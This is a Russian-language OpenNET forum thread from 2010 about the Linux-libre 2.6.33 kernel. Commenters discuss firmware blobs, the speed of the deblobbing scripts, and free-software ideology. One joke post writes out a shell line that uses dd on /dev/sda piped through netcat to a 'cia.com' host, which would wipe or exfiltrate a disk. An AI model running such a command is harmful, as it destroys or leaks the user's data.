The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от opennews (??), 02-Мрт-10, 00:06 
Латиноамериканское отделение Фонда свободного ПО анонсировало (http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre) доступность полностью свободного варианта Linux ядра 2.6.33,  разработанного в рамках проекта Linux-libre (http://www.fsfla.org/svnwiki/selibre/linux-libre/). Ядро 2.6.33-libre освобождено от всех несвободных компонентов, таких как проприетарные прошивки и драйверы с бинарными вставками.


Авторы проекта Linux-libre не стали поддерживать собственную отдельную ветку Linux ядра, а вместо этого создали универсальный скрипт для удаления несвободных блоков в ядре. Скрипт содержит в себе тысячи шаблонов для определения наличия бинарных вставок и исключения ложных срабатываний. Раньше скрипт был написан на sed, но требовал для своей работы около 2 Гб ОЗУ. В текущей версии скрипт дополнительно переписан на языках Awk, Python и Perl, что позволило  внушительно сократить потребление памяти, но увеличило время выполнения полного анализа: sed-вариант выполняется 3 мину...

URL: http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre
Новость: http://www.opennet.dev/opennews/art.shtml?num=25623

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по времени | RSS]


1. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Аноним (-), 02-Мрт-10, 00:06 
интересно, что такое код прошивок в атеросе? ;)
Ответить | Правка | Наверх | Cообщить модератору

3. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +3 +/
Сообщение от pavlinux (ok), 02-Мрт-10, 00:21 
int fw[8][8] = {
{0x167,0x163,0x308,0x193,0x333,0x247,0x347,0x263},
{0x160,0x150,0x195,0x140,0x132,0x299,0x258,0x327},
{0x179,0x277,0x324,0x276,0x204,0x351,0x231,0x351},
{0x180,0x327,0x266,0x125,0x290,0x345,0x200,0x230},
{0x281,0x282,0x196,0x133,0x175,0x190,0x297,0x109},
{0x113,0x138,0x277,0x146,0x211,0x181,0x246,0x291},
{0x231,0x216,0x340,0x209,0x340,0x344,0x206,0x294},
{0x318,0x245,0x192,0x126,0x108,0x293,0x257,0x291}
}

Знаешь что это за код? Я тоже .... :)

Хотя не... тут закодировано следующие

if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.


Ответить | Правка | Наверх | Cообщить модератору

12. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от XoRe (ok), 02-Мрт-10, 01:20 
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

Вы хотели сказать if=/dev/sda ?)

Ответить | Правка | Наверх | Cообщить модератору

15. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 01:33 
>>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;
>
>Вы хотели сказать if=/dev/sda ?)

of тоже весело .... по команде из центра ... Ж=)

Ответить | Правка | Наверх | Cообщить модератору

28. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Аноним (-), 02-Мрт-10, 10:37 
Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор си или ассемблера. Если ПЛИС, ещё что-то типа VHDL
Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

32. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от тоже user (?), 02-Мрт-10, 11:08 
Они потому и бинарные, что уже откомпилированные и содержатся в коде в виде массивов с бинарными данными-кодом.
Ответить | Правка | Наверх | Cообщить модератору

45. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 13:55 
>Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор
>си или ассемблера. Если ПЛИС, ещё что-то типа VHDL

Как! Вы ещё не видели в коде ядра ассмеблер для чипов Adaptec 7901/7902

# less drivers/scsi/aic7xxx/aicasm/aicadm.c  

/* Aic7xxx SCSI host adapter firmware asssembler */
...

Ответить | Правка | К родителю #28 | Наверх | Cообщить модератору

53. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от User294 (ok), 02-Мрт-10, 14:56 
>Хотя не... тут закодировано следующие
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat
>http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

1) В вашей строке явно больше чем 64 байта... ;P
2) Ваша строка попахивает каким-то странным саботажем с -of= :)

>Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.

Скорее, так можно чего-нить колоритно [beep]нуть на вашем диске и сообщить о данном досадном факте ЦРУ :)

Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

66. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от DiamondX7 (?), 03-Мрт-10, 15:00 
cia.com (com-commercial) - даже прикольно :)
позволю себе поправить cia.gov - government
http://tools.ietf.org/html/rfc920

а еще есть: whitehouse.gov, nasa.gov(клевый сайт), af.mil(тож клевый), navy.mil etc. их там как собак нерезанных, и прям кажный алчет када сбросят 1024 какой-нидь дряни ;)

Ответить | Правка | Наверх | Cообщить модератору

2. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –14 +/
Сообщение от mitya (ok), 02-Мрт-10, 00:19 
Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.
Ответить | Правка | Наверх | Cообщить модератору

7. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +9 +/
Сообщение от Аноним (-), 02-Мрт-10, 00:45 
Эти люди (выпускающие свободное ядро) тебе чем-то мешают?
Ответить | Правка | Наверх | Cообщить модератору

10. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +7 +/
Сообщение от Аноним (-), 02-Мрт-10, 01:13 
> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.

А Вы уже купили своему ребёнку право читать?

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

16. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –1 +/
Сообщение от pavlinux (ok), 02-Мрт-10, 01:36 
>> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.
>
>А Вы уже купили своему ребёнку право читать?

Можно подумать вы читаемые ребенком книги сами пишете... :)
Так что, косвенно это происходит со времен Александрийской и подобных древних библиотек.

Ответить | Правка | Наверх | Cообщить модератору

41. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от iZEN (ok), 02-Мрт-10, 13:02 
Да. За 650 рублей в месяц мне доступен интернет.
Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

52. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от vayerx (ok), 02-Мрт-10, 14:39 
не накаркать бы, но интернет и право читать - все ж таки разные вещи
Ответить | Правка | Наверх | Cообщить модератору

55. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +2 +/
Сообщение от User294 (ok), 02-Мрт-10, 15:05 
>Да. За 650 рублей в месяц мне доступен интернет.

Не надо подменять понятия - интернет всего лишь возможость передавать данные.

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

27. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +5 +/
Сообщение от аноним (?), 02-Мрт-10, 10:11 
> Что за маниакальная страстишка к свободе?

Жесть. Что за тяга к рабству и зависимости от воли других людей?

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

40. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –4 +/
Сообщение от dRiZd (?), 02-Мрт-10, 13:01 
Вы сами поняли чего написали?
По Вашим словам: надо существовать вне общества, со всеми вытекающими...
Ответить | Правка | Наверх | Cообщить модератору

44. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от NarkTranquility (?), 02-Мрт-10, 13:47 
По-вашему надо существовать в обществе рабов?
Ответить | Правка | Наверх | Cообщить модератору

54. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от User294 (ok), 02-Мрт-10, 15:03 
>Что за маниакальная страстишка к свободе?

Да, рабы не любят тех кто тянется к свободе, утешают себя что свобода не так уж и нужна, etc и ругатся на тех кто свободен. Шаблонно. А что до производителей - вы уж извините, но мы помним AWARD_SW и еще два вагона прочих инженерных паролей^W бэкдоров. Поэтому блобам доверия нет. И не то чтобы без причины - прецеденты были, этого достаточно.

ИМХО, свободы много не бывает и если кто-то хочет получить больше свободы и меньше потенциального западлостроения, даже если что-то и не заработает - затея имеет право на жизнь.

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

4. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –5 +/
Сообщение от 123456 (??), 02-Мрт-10, 00:22 
подумал сначала, что "полностью свободный вариант Linux ядра" - это по какой-то полностью свободной лицензии вместо GPL
Ответить | Правка | Наверх | Cообщить модератору

6. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Thorton (?), 02-Мрт-10, 00:37 
Времена нынче не те - ядро кишит блобами.. проплачеными блобами...
Ответить | Правка | Наверх | Cообщить модератору

35. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –2 +/
Сообщение от anonymous (??), 02-Мрт-10, 11:36 
вы так говорите, как будто это плохо.
Ответить | Правка | Наверх | Cообщить модератору

56. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от User294 (ok), 02-Мрт-10, 15:07 
>Времена нынче не те - ядро кишит блобами.. проплачеными блобами...

Дык это... есть железки в которые фирмваре грузится на лету. И или вы в них грузите фирмваре или они не работают, т.к. внутри оных нет кода для их собственного процессора.

Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

8. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 00:57 
Вот вам и свободный nvidia драйвер


DRM_NOUVEAU - Nouveau (nVidia) cards
drivers/gpu/drm/nouveau/nouveau_grctx.c: disabled non-Free firmware-loading machinery
drivers/gpu/drm/nouveau/nouveau_grctx.c: removed blobs                              
drivers/gpu/drm/nouveau/nv50_graph.c: removed blobs    

Ответить | Правка | Наверх | Cообщить модератору

9. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 01:09 
[телепорт]

Ответить | Правка | Наверх | Cообщить модератору

11. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Аноним (-), 02-Мрт-10, 01:14 
>Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2

А твой фирменный троян от CIA вставил? :)

Ответить | Правка | Наверх | Cообщить модератору

13. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +2 +/
Сообщение от XoRe (ok), 02-Мрт-10, 01:21 
>>Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2
>
>А твой фирменный троян от CIA вставил? :)

Это СОРМ.
Его надо оставить)

Ответить | Правка | Наверх | Cообщить модератору

14. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 01:29 
Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2

Радостно отметить, что ни одного устройства из BLOBов, кроме микрокода,
которого я никогда не видел, для процессоров AMD, у меня нет. =)

Для полного счастья надо перелезать на видушку от Matrox

Ответить | Правка | Наверх | Cообщить модератору

17. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 05:22 
>sed-вариант выполняется 3 минуты, awk - 5 минут, а Python и Perl - 90 минут.

Еще раз убедился в не прописной истине по поводу питона... Жаль, что находятся господа, которые додумываются использовать его там, где время выполнения задачи критично...

Ответить | Правка | Наверх | Cообщить модератору

18. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от амоним (?), 02-Мрт-10, 07:21 
а что предлагаете использовать вместо него там, где время выполнения задачи критично?..
Ответить | Правка | Наверх | Cообщить модератору

19. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от hatewindows (ok), 02-Мрт-10, 08:00 
видимо асм и чистый си
Ответить | Правка | Наверх | Cообщить модератору

20. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 08:01 
>а что предлагаете использовать вместо него там, где время выполнения задачи критично?..
>

С или С++ если код достаточно сложный. + Вставки кода на ассемблере - очень эффективно работает.

Ответить | Правка | К родителю #18 | Наверх | Cообщить модератору

31. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Аноним (-), 02-Мрт-10, 11:05 
Таких программистов на планете Земля может быть всего несколько сотен: тех кто хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.
Ответить | Правка | Наверх | Cообщить модератору

37. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 11:43 
>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.

А кто тогда ядро по вашему пишет? Я думаю таких людей на самом деле очень много, просто они это не практикуют.

Ответить | Правка | Наверх | Cообщить модератору

48. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 14:12 
>>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.
>
>А кто тогда ядро по вашему пишет? Я думаю таких людей на
>самом деле очень много, просто они это не практикуют.

Конечно, душат попытки в зародыше... Со словами: "Оптимизируем движение вакуума!", "Загораем под луной"...

Ответить | Правка | Наверх | Cообщить модератору

21. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от prof_alex (?), 02-Мрт-10, 08:54 
> Еще раз убедился в не прописной истине по поводу питона...

А про перл мыслей никаких не возникло?

Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

22. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 09:03 
>А про перл мыслей никаких не возникло?

Он древний - ему простительно. Тем более с питоном такая ситуация, что народ пытается его использовать там где надо и где не надо - с перлом такого не было.

Ответить | Правка | Наверх | Cообщить модератору

49. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 14:14 
Да ладно, у Перл первая задача - парсинг текста.
Ответить | Правка | Наверх | Cообщить модератору

50. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 14:18 
>Да ладно, у Перл первая задача - парсинг текста.

Да пофигу какая там у него задача - результат на лицо - sed проехался быстрее perl`a.

Ответить | Правка | Наверх | Cообщить модератору

57. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +1 +/
Сообщение от pavlinux (ok), 02-Мрт-10, 15:09 
>>Да ладно, у Перл первая задача - парсинг текста.
>
>Да пофигу какая там у него задача - результат на лицо -
>sed проехался быстрее perl`a.

sed и ed появились по-моему раньше чем UNIX... там уж точно оптимизация вековая.  

Ответить | Правка | Наверх | Cообщить модератору

26. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +3 +/
Сообщение от Антон (??), 02-Мрт-10, 10:01 
А вы видели вообще тот скрипт ???? Видимо это достижение FSF, посмотрите не пожалейте.
Объясняю почему у них так тормозит Python и Perl:  сам скрипт у них на shell, из него для каждого файла вызывается фильтр, которых regexp-ом вырезает из этого файла нужные куски.
Этот скрипт для каждого файла с блобами вызывает каждый раз новую копию perl, python, awk или sed. 99.99% из того времени - это время на тысячи повторных запусков интерпретатора. Понятно, что python и perl значительно дольше запускаются, чем sed.
Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

42. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Veter (??), 02-Мрт-10, 13:02 
> Понятно, что python и perl значительно дольше запускаются, чем sed.

Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по скорости запуска, а "значительно дольше" - применимо только к питону.

Ответить | Правка | Наверх | Cообщить модератору

43. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Антон (??), 02-Мрт-10, 13:37 
>> Понятно, что python и perl значительно дольше запускаются, чем sed.
>
>Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по
>скорости запуска, а "значительно дольше" - применимо только к питону.

Проверил, sed c одним regex выполняется за 0m0.004s, perl - 0m0.009s, python - 0m0.144s.

Ответить | Правка | Наверх | Cообщить модератору

46. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от амонинус (?), 02-Мрт-10, 14:04 
Там проблема еще в том, что у них поиск блобов выполняется при помощи каких-то жутких регулярных выражений, которые (как у них самих в комментарии к скрипту написано) Perl и  Питон не тянут. Там скрипт на Перле сам выглядит большей частью как проприетарный блоб.

Вот пример ОДНОГО регекспа из этого скрипта:

blob '\([/][*][*]\+[/][\n]*\)*\([/][*][^*]*\([*]\+[^/*][^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[     ][^\n]*\([\\][\n][^\n]*\)*\)\([\n]*[/][*][^*]*\([*]\+\([^/*]\|[/][\n]*[/][*]\+\)[^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|[\n][\n]*#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[     ]\(\\[\n]\|[^\n]\)*\)*' drivers/net/e100.c

Ответить | Правка | К родителю #26 | Наверх | Cообщить модератору

23. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от requem07 (?), 02-Мрт-10, 09:48 
один раз пройтись по исходникам - это не критично
Ответить | Правка | Наверх | Cообщить модератору

24. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 09:59 
>один раз пройтись по исходникам - это не критично

А почему один раз? Можно допустим гит срез делать каждый день\час и выкладывать "кашерный" кернел, что бы люди качали и радовались.

Ответить | Правка | Наверх | Cообщить модератору

34. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от ig0r (??), 02-Мрт-10, 11:10 
осильте git merge
Ответить | Правка | Наверх | Cообщить модератору

38. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от RapteRemail (ok), 02-Мрт-10, 11:47 
>осильте git merge

Сударь исключает, что при очередном мердже не притянется новый код с бинарями? Не руками же потом его дорезать...

Ответить | Правка | Наверх | Cообщить модератору

68. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от ig0r (??), 11-Мрт-10, 15:30 
ну по патчам скрипт должен быстрее пройтись, чем по всему коду, хотя если вы хотите делать ежедневную сборку, и каждый день лопатить полность ядро то это Ваш выбор, я Вас не буду отговаривать, но мне эта идея кажется глупой.
Ответить | Правка | Наверх | Cообщить модератору

25. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Zenituremail (?), 02-Мрт-10, 09:59 
Спасибо за отличную статью! Она проясняет всю тему без дополнительной литературы.
Ответить | Правка | Наверх | Cообщить модератору

29. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Аноним (-), 02-Мрт-10, 10:40 
Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров, использующих бинарные прошивки
Ответить | Правка | Наверх | Cообщить модератору

30. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +2 +/
Сообщение от Антон (??), 02-Мрт-10, 10:49 
>Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров,
>использующих бинарные прошивки

Ничего страшного в этих блобах нет, если производитель разрешает их свободное использование. Никто же не возмущается, что в видеокарте, raid-контроллере, модеме и сетевухе блобы используются. IMHO, никакой разницы загружен блоб изначально в ROM или грузится в процессе загрузки ядра.

Ответить | Правка | Наверх | Cообщить модератору

33. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от birdie (?), 02-Мрт-10, 11:09 
firmware is a part of hardware, thus this whole idea is a load of BS.
Ответить | Правка | Наверх | Cообщить модератору

39. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +2 +/
Сообщение от Аноним (-), 02-Мрт-10, 12:53 
Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги. Типа оно часть железа
Ответить | Правка | Наверх | Cообщить модератору

47. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от амонинус (?), 02-Мрт-10, 14:08 
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железа

Ну, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО в памяти самой железки, это нормально, а если закачивается при загрузке, то это недопустимо) ИМХО нелогично.

Ответить | Правка | Наверх | Cообщить модератору

51. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 14:26 
>>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>>Типа оно часть железа
>
>Ну, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО
>в памяти самой железки, это нормально, а если закачивается при загрузке,
>то это недопустимо) ИМХО нелогично.

Да не, логично...  ПО в железке - не ПО.
Firmware - это снаряд, надо его правильно расположить, найти молоток и правильно еб..ть по капсуле,
и не факт, что при этом вас не разорвет на сотню маленьких юзеров.
А ПО - это граната, - дергай и кидай подальше.  

Представьте размер железяки, если те же функции будут собраны на железной логике.
И вмсето перепрошивки новой фирмвари, вам надо будет докупать дочернюю плату.

Ещё надо заставить производетелей видюх впаявать разёмы для RAM, а то ишь пристрастились,
видюшка с 1 Gb стоит 4000 руб, а с 2Gb уже 15000, хотя 1 гиг DDR 3 стоит 40$

Ответить | Правка | Наверх | Cообщить модератору

60. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от User294 (ok), 02-Мрт-10, 18:01 
Там обычно разница не только в числе чипов но и зачастую в ширине шины и поюзанном чипаке, у которого куда больше блоков процессинга всего и вся. И, кстати, что это за видяха за 15 000 где юзается ... DDR3?! oO
Ответить | Правка | Наверх | Cообщить модератору

61. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 02-Мрт-10, 18:27 
>Там обычно разница не только в числе чипов но и зачастую в
>ширине шины и поюзанном чипаке,

Толщина шины рулится контроллером памяти
> у которого куда больше блоков процессинга
>всего и вся. И, кстати, что это за видяха за 15
>000 где юзается ... DDR3?! oO

Дык, любой 285 и выше гфорс

Ответить | Правка | Наверх | Cообщить модератору

62. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от рутик (?), 02-Мрт-10, 20:56 
там ддр5 =)
Ответить | Правка | Наверх | Cообщить модератору

63. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от anonymous vulgaris (?), 02-Мрт-10, 21:42 
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железа

http://www.opennet.dev/opennews/art.shtml?num=25640
Компания Nokia объявила в введении в строй инициативы "Qt Board Verification Program" в рамках которой производителям портативных устройств и встраиваемых платформ предлагается проверить их оборудование на предмет полной совместимости с инструментарием Qt.


Ответить | Правка | К родителю #39 | Наверх | Cообщить модератору

59. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от User294 (ok), 02-Мрт-10, 17:57 
>firmware is a part of hardware,

А есть и иная точка зрения. "Firmware is a software in silicon".
Ну а раз software - вот извините, но оно обладает всеми свойствами. А "load of BS" - это бэкдоры и "инженерные входы" по типу AWARD_SW :P.

Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

67. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от birdie (?), 04-Мрт-10, 11:27 
backdoors may exist on a hardware level, so your post makes no sense :)

have you ever heard of keyboards with embedded keyloggers?

have you ever heard of laptops which silently redirect some of your network traffic to an interested party?

There's no need for software to spy on us.

Ответить | Правка | Наверх | Cообщить модератору

64. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  –1 +/
Сообщение от oneonfire (?), 02-Мрт-10, 22:41 
Простите но зачем мне такое ядро, если я с ним не смогу работать?
Ответить | Правка | Наверх | Cообщить модератору

65. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 03-Мрт-10, 01:47 
>Простите но зачем мне такое ядро, если я с ним не смогу работать?

Кто же виноват, в том что Вы не можете?! :)
Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...

MICROCODE_AMD - AMD microcode patch loading support                          
MICROCODE_INTEL - Intel microcode patch loading support                      
IXP4XX_NPE - IXP4xx Network Processor Engine support                          
ARCH_NETX - Hilscher NetX based                                              
ATM_AMBASSADOR - Madge Ambassador, Collage PCI 155 Server                    
ATM_FORE200E - FORE Systems 200E-series                                      
ATM_SOLOS - Solos ADSL2+ PCI Multiport card driver                            
COMPUTONE - Computone IntelliPort Plus serial                                
CYCLADES - Cyclades async mux support                                        
ISI - Multi-Tech multiport card support                                      
MOXA_INTELLIO - Moxa Intellio support                                        
DRM_NOUVEAU - Nouveau (nVidia) cards                                          
DRM_R128 - ATI Rage 128                                                      
DRM_RADEON - ATI Radeon                                                      
MEDIA_TUNER_XC5000 - Xceive XC5000 silicon tuner                              
DVB_USB - Support for various USB DVB devices                                
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1                                  
DVB_BT8XX - BT8xx based PCI cards                                            
DVB_USB_A800 - AVerMedia AverTV DVB-T USB 2.0 (A800)                          
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1 support                          
DVB_USB_AF9015 - Afatech AF9015 DVB-T USB2.0 support                          
DVB_USB_CXUSB - Conexant USB2.0 hybrid reference design support              
DVB_USB_DIB0700 - DiBcom DiB0700 USB DVB devices                              
DVB_USB_DIBUSB_MB - DiBcom USB DVB-T devices (based on the DiB3000M-B)        
DVB_USB_DIGITV - Nebula Electronics uDigiTV DVB-T USB2.0 support              
DVB_USB_EC168 - E3C EC168 DVB-T USB2.0 support                                
DVB_USB_GP8PSK - GENPIX 8PSK->USB module support                              
DVB_USB_M920X - Uli m920x DVB-T USB2.0 support                                
DVB_USB_NOVA_T_USB2 - Hauppauge WinTV-NOVA-T usb2 DVB-T USB2.0 support        
DVB_USB_OPERA1 - Opera1 DVB-S USB2.0 receiver                                
DVB_USB_TTUSB2 - Pinnacle 400e DVB-S USB2.0 support                          
DVB_USB_UMT_010 - HanfTek UMT-010 DVB-T USB2.0 support                        
DVB_USB_VP702X - TwinhanDTV StarBox and clones DVB-S USB2.0 support          
DVB_AF9013 - Afatech AF9013 demodulator                                      
DVB_BCM3510 - Broadcom BCM3510                                                
DVB_DS3000 - Montage Tehnology DS3000 based                                  
DVB_OR51132 - Oren OR51132 based                                              
DVB_OR51211 - Oren OR51211 based                                              
DVB_SP8870 - Spase sp8870                                                    
DVB_CX24116 - Conexant CX24116 based                                          
DVB_SP887X - Spase sp887x based                                              
DVB_TDA10048 - Philips TDA10048HN based                                      
DVB_AV7110 - AV7110 cards                                                    
DVB_BUDGET - Budget cards                                                    
DVB_BUDGET_AV - Budget cards with analog video inputs                        
DVB_BUDGET_CI - Budget cards with onboard CI connector                        
DVB_PLUTO2 - Pluto2 cards                                                    
SMS_SIANO_MDTV - Siano SMS1xxx based MDTV receiver                            
SMS_USB_DRV - Siano's USB interface support                                  
VIDEO_BT848 - BT848 Video For Linux                                          
VIDEO_CPIA2 - CPiA2 Video For Linux                                          
VIDEO_CX18 - Conexant cx23418 MPEG encoder support                            
VIDEO_CX23885 - Conexant cx23885 (2388x successor) support                    
VIDEO_CX88_BLACKBIRD - Blackbird MPEG encoder support (cx2388x + cx23416)    
VIDEO_PVRUSB2 - Hauppauge WinTV-PVR USB2 support                              
VIDEO_CX23885, VIDEO_CX88_BLACKBIRD, VIDEO_IVTV, VIDEO_PVRUSB2 - See above    
VIDEO_GO7007 - Go 7007 support                                                
VIDEO_SAA7164 - NXP SAA7164 support                                          
USB_DABUSB - DABUSB driver                                                    
